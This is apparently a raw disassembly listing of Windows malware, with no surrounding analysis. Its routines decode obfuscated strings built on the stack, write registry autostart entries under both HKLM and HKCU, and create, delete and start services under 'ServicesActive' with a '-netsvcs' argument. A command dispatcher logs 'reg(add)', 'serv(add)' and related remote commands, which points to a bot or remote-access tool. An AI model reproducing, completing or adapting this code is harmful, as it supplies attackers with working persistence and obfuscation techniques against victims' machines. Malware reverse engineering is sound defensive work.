		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2950000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2910000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2950000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2910000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 29107F9h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449844
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2910BECh
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		call	near ptr 27D0818h
		nop
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		nop
		call	near ptr 2920000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 292035Ch
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29107F9h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28B0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		nop
		call	near ptr 2920000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 2910445h
		push	esi
		call	near ptr 291068Bh
		nop
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 29107F9h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 28B0000h
		nop
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2920000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 29107F9h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28B0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		call	near ptr 2920000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		call	near ptr 2900B8Bh
		nop
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
